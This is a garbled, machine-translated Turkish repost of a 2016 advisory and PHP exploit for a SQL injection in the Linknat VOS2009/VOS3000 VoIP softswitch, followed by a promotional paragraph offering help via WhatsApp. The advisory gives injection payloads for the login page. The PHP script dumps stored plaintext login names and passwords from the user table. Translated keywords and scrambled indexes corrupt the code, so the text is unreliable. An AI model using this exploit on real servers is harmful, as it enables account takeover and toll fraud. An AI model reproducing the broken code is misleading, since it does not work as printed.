Linknat VOS2009/VOS3000 SQL enjeksiyon
Gönderen: Usame Khalid <osama ()="" codinghazard="" com="">T
arih: Perşembe 19 May 2016 16:52:54 +0500</osama>
Bir SQL enjeksiyon Linknat VOS3000/VOS2009, popüler bir VoIP bulundu softswitch, uzak saldırganların erişim elde etmek için izin verebilir düz metinde depolanan kimlik bilgileri. Uygulama: Linknat VOS3000/VOS2009 Etkilenen Sürümler: 2.1.1.5, 2.1.1.8, 2.1.2.0 Satıcı URL'si: http://www.linknat.com/ Hata: SQLi (DBA ayrıcalıkları ile) Türü: Uzaktan Kumanda Çözünürlük: Düzeltildi, 2.1.2.4 veya 2.1.6.0 Temiz Sürüm'e yükseltin Referans: WooYun-2015-145458 - http://www.wooyun.org/bugs/wooyun-2010-0145458 SQLi rapor zaman tabanlı kör olduğunu bildirdi. Bir grup SQLi olmadığından, sonuçlar hoş geldin çıktısından toplanabilir.jsp sırasında Oturum. (1. istek) http://target/eng/login.jsp sonrası PARAM girişTürü=1 isim=' sendika seç 1,2,@@version,'hello',5,6# pass=' OR ''=' (Aynı oturumda 2. istek) GET http://target/eng/welcome.jsp SONUÇ 0|' sendika seçimi 1,2,@@version,'hello',5,6#|1|5.0.51a-community|hello|0.00|0.00| <?php # # Linknat VOS2009[ EXPLOIT CODE ]/VOS3000 SQLi exploit # # DISCLAIMER: The exploit is to be used for educational purposes only # The author would not be responsible for any misuse # # AUTHOR: Osama Khalid # WEBSITE: http://www.codinghazard.com/ # DATE: 19/05/2016 # REF: http://www.wooyun.org/bugs/wooyun-2010-0145458 if ($argc < 2) { banner(); usage(); exit; } $host = $argv; $column_one = isset($argv)[1] ? $argv : "loginname"; $colum[2]n_two =[2] isset($argv) ? $argv : "password"; $table [3] = [3]isset($argv) ? $argv : "e_user"; $other [4] = iss[4]et($argv) ? $argv : ""; function banner[5]() { [5]echo "########################################n"; echo "# #n"; echo "# Linknat VOS3000/VOS2009 SQLi exploit #n"; echo "# #n"; echo "# Osama Khalid #n"; echo "########### codinghazard.com ###########n"; } function usage() { echo "n"; echo "php vos3000.php n"; echo "php vos3000.php 127.0[HOST].0.1n"; echo "php vos3000.php n"; echo "php vos3000.php 12[HOST]7[COL1].[COL2]0[TABLE].[OTHER SQL]0.1 table_schema table_name information_schema.tables "where table_schema = 'mysql'" n"; } function curl($url, $post = array(), $cookies = null, $header = false) { $curl = curl_init(); curl_setopt($curl, CURLOPT_URL, $url); curl_setopt($curl, CURLOPT_FOLLOWLOCATION, false); curl_setopt($curl, CURLOPT_HEADER, $header); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); if ($cookies != null) curl_setopt($curl, CURLOPT_COOKIE, $cookies); if (count($post) > 0) { foreach ( $key olarak $post => $value) $post_öğeleri = $key . '=' . urlencode($value); [] $post_string = implode('&', $post_items); curl_setopt($curl, CURLOPT_POST, 1); curl_setopt($curl, CURLOPT_POSTFIELDS, $post_string); } $data = curl_exec($curl); curl_close($curl); $data geri dönmek; } fonksiyon sorgusu($host, $query) { $data = curl("http://$host/eng/login.jsp";, dizi( "loginType" => 1, "isim" => "' birliği " . $query . "#", "pass" => "' VEYA ''='" ), null, doğru); preg_match_all('| Set-Çerez: (.*);|U', $data, $matches); $cookies = implode('; ', $matches); $data = curl("http://$h[1]ost/eng/welcome.jsp";, array(), $cookies, false); $parts = patlayabilir("|", trim($data)); if (count($parts) < 7) return false; return array($parts, $parts); } function ascii_t[3]able($da[4]ta) { $keys = array_keys(end($data)); $wid = array_map('strlen', $keys); foreach($data as $row) { foreach(array_values($row) as $k => $v) $wid = max($wid, strlen($v)); } [$k] foreach[$k]($k => $v olarak $wid) { $fmt = "%-{$v}s"; $sep = [$k]str_repeat('-', $v); }[$k] $fmt = '| ' . implode(' | ', $fmt) . ' |'; $sep = '+-' . implode('-+-', $sep) . '-+'; $buf = array($sep, vsprintf($fmt, $keys), $sep); foreach($row olarak $data) { $buf = vsprintf($fmt, $row); [] $buf = $sep; } dönüş imp[]lode("n", $buf); } afiş(); yankı "n"; yankı "Hedef: $hostn"; yankı "Sütun #1: $column_onen"; yankı "Sütun #2: $column_twon"; yankı "Tablo: $tablen"; yankı "Diğer: $othern"; yankı "n"; $results = dizi(); $count_result = query($host, "SELECT 1,2,COUNT(*),4,5,6 FROM $table $other"); if ($count_sonuç) { $count = intval($count_result); yankı "Bulunan $count satırları...n[0]"; için ($i=0; $i<$count; $i++)="" {="" $q="SELECT 1,2,HEX($column_one),HEX($column_two),5,6 FROM $table $other LIMIT " .="" $i="" .="" ",1";="" $result="query($host," $q);="" if="" ($result)="" {="" echo="" "r"="" .="" ($i+1)="" .="" "]t"="" .="" $column_one="" .="" "=" . hex2bin($result) . " ,="" "="" .="" $co[0]lumn_two="" .="" "=" . hex2bin($result) . " n";[1]="" }="" else="" {="" echo="" "error="" retrieving="" row="" "="" .="" ($i+1)="" .="" "n";="" }="" $results="ar[]ray($column_one" ==""> hex2bin($result),[0] $column_two => hex2bin($result))[1]; } if (count($results) > 0) { yankı "nn" . ascii_table($results) . "n"; } } else { yankı "Hata alma satır sayısı"; } ?></$count;>
2016'dan itibaren Vos3000 kesmek için bazı sql enjeksiyon yumuşak mallar kullanarak, Biz o zaman kendi güvenlik sistemi var, biz şimdi çok güçlü güvenlik sistemi güncelledi, benim iş odak voip soft-switch için güvenlik için her zaman oldu. Çoğu zaman ücretsiz tavsiye verdi veya mümkün olduğunca ücretsiz bilgi paylaştı. Hala kirli şeyler etrafında çalışan bir sürü, bu yüzden her zaman dikkatli olun ve daha fazla bilgi lütfen. Aksi takdirde asla iyi bir iş yapamazsınız. Şimdi-a-gün İnsanlar VOSServer kesmek için VOS3000 İstemci yazılımı gizli komut dosyaları veya kötü amaçlı yazılımlar kullanarak.
Whatsapp beni knock daha fazla yardım için: +8801911119966 – i tüm yolları yardımcı olacaktır.
